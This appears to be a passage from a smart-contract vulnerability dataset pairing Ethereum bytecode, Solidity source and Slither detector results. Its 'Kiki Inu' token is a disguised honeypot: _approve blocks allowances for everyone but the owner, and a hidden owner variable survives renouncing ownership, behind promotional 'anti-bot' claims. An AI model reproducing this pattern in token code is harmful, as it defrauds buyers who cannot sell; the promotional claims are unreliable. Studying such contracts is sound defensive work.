60208190526040902054611004908463ffffffff61130216565b600160a060020a033316600090815260208190526040902055600254611030908463ffffffff61130216565b600255600654611046908463ffffffff61142c16565b604051909150600160a060020a0333169082156108fc029083906000818181858888f1935050505015801561107f573d6000803e3d6000fd5b5083600160a060020a031633600160a060020a0316600080516020611458833981519152856040518082815260200191505060405180910390a333600160a060020a031684600160a060020a03167fa082022e93cfcd9f1da5f9236718053910f7e840da080c789c7845698dc032ff8584604051808381526020018281526020019250505060405180910390a35060019392505050565b600854600160a060020a031681565b600954600160a060020a03161580159061114d575060095433600160a060020a039081169116145b151561115857600080fd5b60003411801561116a57506000600254115b156111915760025461118d90600160a060020a033016319063ffffffff6105a616565b6006555b611199611314565b565b60055433600160a060020a0390811661010090920416146111bb57600080fd5b6007546901000000000000000000900467ffffffffffffffff164210156111e157600080fd5b600854604051600160a060020a039182169130163180156108fc02916000818181858888f1935050505015801561121c573d6000803e3d6000fd5b50565b600160a060020a03918216600090815260016020908152604080832093909416825291909152205490565b60055433600160a060020a03908116610100909204161461126a57600080fd5b600160a060020a038116151561127f57600080fd5b600554604051600160a060020a0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a360058054600160a060020a039092166101000274ffffffffffffffffffffffffffffffffffffffff0019909216919091179055565b600954600160a060020a031681565b60008282111561130e57fe5b50900390565b6009805473ffffffffffffffffffffffffffffffffffffffff191690556007805468ffffffffffffffffff19169055565b6000600160a060020a038316151561135c57600080fd5b600160a060020a03331660009081526020819052604090205482111561138157600080fd5b600160a060020a0333166000908152602081905260409020546113aa908363ffffffff61130216565b600160a060020a0333811660009081526020819052604080822093909355908516815220546113df908363ffffffff6105bb16565b600160a060020a038085166000818152602081815260409182902094909455805186815290519193339093169260008051602061145883398151915292918290030190a350600192915050565b60008083151561143f57600091506105ce565b5082820282848281151561144f57fe5b04146105ca57fe00ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a7230582027ff25e375de58bb1605cbcf1fbfe08364feb0dc0ee92ff94729a2aed0a3f1cf0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 4,058 |
0x057db578648a2963966a4a5a90d39167c9b8c552
|
/**
*Submitted for verification at Etherscan.io on 2021-11-16
*/
/**
*Submitted for verification at Etherscan.io on 2021-09-28
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library TransferHelper {
function safeApprove(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');
}
function safeTransfer(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}
function safeTransferFrom(address token, address from, address to, uint value) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
}
function safeTransferETH(address to, uint value) internal {
(bool success,) = to.call{value:value}(new bytes(0));
require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
}
}
library UniswapV2Library {
using SafeMath for uint;
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
// fetches and sorts the reserves for a pair
function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) {
(address token0,) = sortTokens(tokenA, tokenB);
(uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
// given an output amount of an asset and pair reserves, returns a required input amount of the other asset
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) {
require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint numerator = reserveIn.mul(amountOut).mul(1000);
uint denominator = reserveOut.sub(amountOut).mul(997);
amountIn = (numerator / denominator).add(1);
}
// given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint amountInWithFee = amountIn.mul(997);
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[0] = amountIn;
for (uint i; i < path.length - 1; i++) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]);
amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut);
}
}
// performs chained getAmountIn calculations on any number of pairs
function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[amounts.length - 1] = amountOut;
for (uint i = path.length - 1; i > 0; i--) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]);
amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut);
}
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function balanceOf(address owner) external view returns (uint);
}
interface IWETH {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function withdraw(uint) external;
}
contract MultiTransferSwap is Ownable {
using SafeMath for uint256;
address private factory;
address private WETH;
modifier ensure(uint _deadline) {
require(_deadline >= block.timestamp, 'EXPIRED');
_;
}
constructor() public {
factory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
}
receive() external payable {
}
function _swap(uint[] memory _amounts, address[] memory _path, address _to) internal virtual {
for (uint i; i < _path.length - 1; i++) {
(address input, address output) = (_path[i], _path[i + 1]);
(address token0,) = UniswapV2Library.sortTokens(input, output);
uint amountOut = _amounts[i + 1];
(uint amount0Out, uint amount1Out) = input == token0 ? (uint(0), amountOut) : (amountOut, uint(0));
address to = i < _path.length - 2 ? UniswapV2Library.pairFor(factory, output, _path[i + 2]) : _to;
IUniswapV2Pair(UniswapV2Library.pairFor(factory, input, output)).swap(
amount0Out, amount1Out, to, new bytes(0)
);
}
}
function multiSwapETHForExactTokens(uint times, uint amountOut, address[] calldata path, address to)
external
payable
returns (uint[] memory amounts)
{
require(path[0] == WETH, 'UniswapV2Router: INVALID_PATH');
for (uint i; i < times; i++){
amounts = UniswapV2Library.getAmountsIn(factory, amountOut, path);
require(amounts[0] <= msg.value.div(times), 'UniswapV2Router: EXCESSIVE_INPUT_AMOUNT');
IWETH(WETH).deposit{value: amounts[0]}();
assert(IWETH(WETH).transfer(UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]));
_swap(amounts, path, to);
}
// refund dust eth, if any
if (msg.value > amounts[0].mul(times)) TransferHelper.safeTransferETH(msg.sender, msg.value - amounts[0].mul(times));
}
}
|
0x6080604052600436106100745760003560e01c8063b6c523241161004e578063b6c52324146100dd578063dd46706414610104578063f28206111461012e578063f2fde38b146102035761007b565b8063715018a6146100805780638da5cb5b14610097578063a69df4b5146100c85761007b565b3661007b57005b600080fd5b34801561008c57600080fd5b50610095610236565b005b3480156100a357600080fd5b506100ac6102d8565b604080516001600160a01b039092168252519081900360200190f35b3480156100d457600080fd5b506100956102e7565b3480156100e957600080fd5b506100f26103d5565b60408051918252519081900360200190f35b34801561011057600080fd5b506100956004803603602081101561012757600080fd5b50356103db565b6101b36004803603608081101561014457600080fd5b81359160208101359181019060608101604082013564010000000081111561016b57600080fd5b82018360208201111561017d57600080fd5b8035906020019184602083028401116401000000008311171561019f57600080fd5b9193509150356001600160a01b031661048b565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156101ef5781810151838201526020016101d7565b505050509050019250505060405180910390f35b34801561020f57600080fd5b506100956004803603602081101561022657600080fd5b50356001600160a01b03166107b3565b61023e6108ab565b6000546001600160a01b039081169116146102a0576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b039091169060008051602061134f833981519152908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b6001546001600160a01b031633146103305760405162461bcd60e51b81526004018080602001828103825260238152602001806113b96023913960400191505060405180910390fd5b6002544211610386576040805162461bcd60e51b815260206004820152601f60248201527f436f6e7472616374206973206c6f636b656420756e74696c2037206461797300604482015290519081900360640190fd5b600154600080546040516001600160a01b03938416939091169160008051602061134f83398151915291a3600154600080546001600160a01b0319166001600160a01b03909216919091179055565b60025490565b6103e36108ab565b6000546001600160a01b03908116911614610445576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60008054600180546001600160a01b03199081166001600160a01b03841617909155168155428201600255604051819060008051602061134f833981519152908290a350565b6004546060906001600160a01b031684846000816104a557fe5b905060200201356001600160a01b03166001600160a01b031614610510576040805162461bcd60e51b815260206004820152601d60248201527f556e69737761705632526f757465723a20494e56414c49445f50415448000000604482015290519081900360640190fd5b60005b8681101561075f576003546040805160208088028281018201909352878252610565936001600160a01b0316928a92918a918a918291908501908490808284376000920191909152506108af92505050565b915061057134886109fc565b8260008151811061057e57fe5b602002602001015111156105c35760405162461bcd60e51b815260040180806020018281038252602781526020018061136f6027913960400191505060405180910390fd5b60045482516001600160a01b039091169063d0e30db09084906000906105e557fe5b60200260200101516040518263ffffffff1660e01b81526004016000604051808303818588803b15801561061857600080fd5b505af115801561062c573d6000803e3d6000fd5b50506004546003546001600160a01b03918216945063a9059cbb935061068b925016888860008161065957fe5b905060200201356001600160a01b03168989600181811061067657fe5b905060200201356001600160a01b0316610a47565b8460008151811061069857fe5b60200260200101516040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b1580156106e657600080fd5b505af11580156106fa573d6000803e3d6000fd5b505050506040513d602081101561071057600080fd5b505161071857fe5b61075782868680806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250889250610b07915050565b600101610513565b50610787868260008151811061077157fe5b6020026020010151610d2190919063ffffffff16565b3411156107aa576107aa336107a3888460008151811061077157fe5b3403610d7a565b95945050505050565b6107bb6108ab565b6000546001600160a01b0390811691161461081d576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0381166108625760405162461bcd60e51b815260040180806020018281038252602681526020018061128f6026913960400191505060405180910390fd5b600080546040516001600160a01b038085169392169160008051602061134f83398151915291a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b3390565b6060600282511015610908576040805162461bcd60e51b815260206004820152601e60248201527f556e697377617056324c6962726172793a20494e56414c49445f504154480000604482015290519081900360640190fd5b815167ffffffffffffffff8111801561092057600080fd5b5060405190808252806020026020018201604052801561094a578160200160208202803683370190505b509050828160018351038151811061095e57fe5b60209081029190910101528151600019015b80156109f4576000806109ad8786600186038151811061098c57fe5b60200260200101518786815181106109a057fe5b6020026020010151610e72565b915091506109cf8484815181106109c057fe5b60200260200101518383610f40565b8460018503815181106109de57fe5b6020908102919091010152505060001901610970565b509392505050565b6000610a3e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611018565b90505b92915050565b6000806000610a5685856110ba565b604080516bffffffffffffffffffffffff19606094851b811660208084019190915293851b81166034830152825160288184030181526048830184528051908501206001600160f81b031960688401529a90941b9093166069840152607d8301989098527f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f609d808401919091528851808403909101815260bd909201909752805196019590952095945050505050565b60005b6001835103811015610d1b57600080848381518110610b2557fe5b6020026020010151858460010181518110610b3c57fe5b6020026020010151915091506000610b5483836110ba565b5090506000878560010181518110610b6857fe5b60200260200101519050600080836001600160a01b0316866001600160a01b031614610b9657826000610b9a565b6000835b91509150600060028a51038810610bb15788610be2565b6003548a51610be2916001600160a01b03169088908d9060028d01908110610bd557fe5b6020026020010151610a47565b600354909150610bfc906001600160a01b03168888610a47565b6001600160a01b031663022c0d9f84848460006040519080825280601f01601f191660200182016040528015610c39576020820181803683370190505b506040518563ffffffff1660e01b815260040180858152602001848152602001836001600160a01b0316815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610ca1578181015183820152602001610c89565b50505050905090810190601f168015610cce5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610cf057600080fd5b505af1158015610d04573d6000803e3d6000fd5b505060019099019850610b0a975050505050505050565b50505050565b600082610d3057506000610a41565b82820282848281610d3d57fe5b0414610a3e5760405162461bcd60e51b815260040180806020018281038252602181526020018061132e6021913960400191505060405180910390fd5b604080516000808252602082019092526001600160a01b0384169083906040518082805190602001908083835b60208310610dc65780518252601f199092019160209182019101610da7565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610e28576040519150601f19603f3d011682016040523d82523d6000602084013e610e2d565b606091505b5050905080610e6d5760405162461bcd60e51b81526004018080602001828103825260238152602001806113966023913960400191505060405180910390fd5b505050565b6000806000610e8185856110ba565b509050600080610e92888888610a47565b6001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015610eca57600080fd5b505afa158015610ede573d6000803e3d6000fd5b505050506040513d6060811015610ef457600080fd5b5080516020909101516dffffffffffffffffffffffffffff91821693501690506001600160a01b0387811690841614610f2e578082610f31565b81815b90999098509650505050505050565b6000808411610f805760405162461bcd60e51b815260040180806020018281038252602c8152602001806112b5602c913960400191505060405180910390fd5b600083118015610f905750600082115b610fcb5760405162461bcd60e51b81526004018080602001828103825260288152602001806113066028913960400191505060405180910390fd5b6000610fe36103e8610fdd8688610d21565b90610d21565b90506000610ff76103e5610fdd8689611198565b905061100e600182848161100757fe5b04906111da565b9695505050505050565b600081836110a45760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611069578181015183820152602001611051565b50505050905090810190601f1680156110965780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816110b057fe5b0495945050505050565b600080826001600160a01b0316846001600160a01b0316141561110e5760405162461bcd60e51b81526004018080602001828103825260258152602001806112e16025913960400191505060405180910390fd5b826001600160a01b0316846001600160a01b03161061112e578284611131565b83835b90925090506001600160a01b038216611191576040805162461bcd60e51b815260206004820152601e60248201527f556e697377617056324c6962726172793a205a45524f5f414444524553530000604482015290519081900360640190fd5b9250929050565b6000610a3e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611234565b600082820183811015610a3e576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600081848411156112865760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611069578181015183820152602001611051565b50505090039056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373556e697377617056324c6962726172793a20494e53554646494349454e545f4f55545055545f414d4f554e54556e697377617056324c6962726172793a204944454e544943414c5f414444524553534553556e697377617056324c6962726172793a20494e53554646494349454e545f4c4951554944495459536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f778be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0556e69737761705632526f757465723a204558434553534956455f494e5055545f414d4f554e545472616e7366657248656c7065723a204554485f5452414e534645525f4641494c4544596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c6f636ba2646970667358221220ae9f63b5a0be9f064c4543017ea4d221fddd20daf4da57ec0d03441dc707e45064736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "msg-value-loop", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 4,059 |
0xfb04dd062ba5f412de7e4dc7b85d98ce592780dd
|
/*
Ladies & Gentlemen. CONGRATULATIONS ON 200 MEMBERS!!!! 😳🔥🔥🔥🔥 Launch is a few days away, lets grow huge!!
🎀Kiki Inu🧹 - ERC20
Kiki is the main character in the Studio Ghibli film "Kiki's Delivery Service". Kiki just left home to train as a witch! She delivers anything and everything for her customers. Now she's here to deliver gains for us!
Don't miss the anime season, Kiki from Studio Ghibli is bound to moon!
Our contract is brought to you by Trynos! It features 🚫anti-snipe, 🚫anti-bot functions to prevent unwanted paperhands dumping on real investors✊
Launching on the 28th of October, join us in the tg group for latest announcement: https://t.me/officialKikiInu
Twitter: https://twitter.com/officialKikiInu
Website: https://kikiinu.com/
Telegram: https://t.me/officialKikiInu
Tokenomics:
Supply: 1,000,000,000,000,000 (1 Quadrillion)
Marketing: 5%, Dev: 2%, Liquidity: 1%, Reflection: 1%
max wallet: 2%, max tx: 0.5%
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract KikiInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 100000* 10**9* 10**18;
string private _name = ' Kiki Inu ';
string private _symbol = 'KIKI';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffff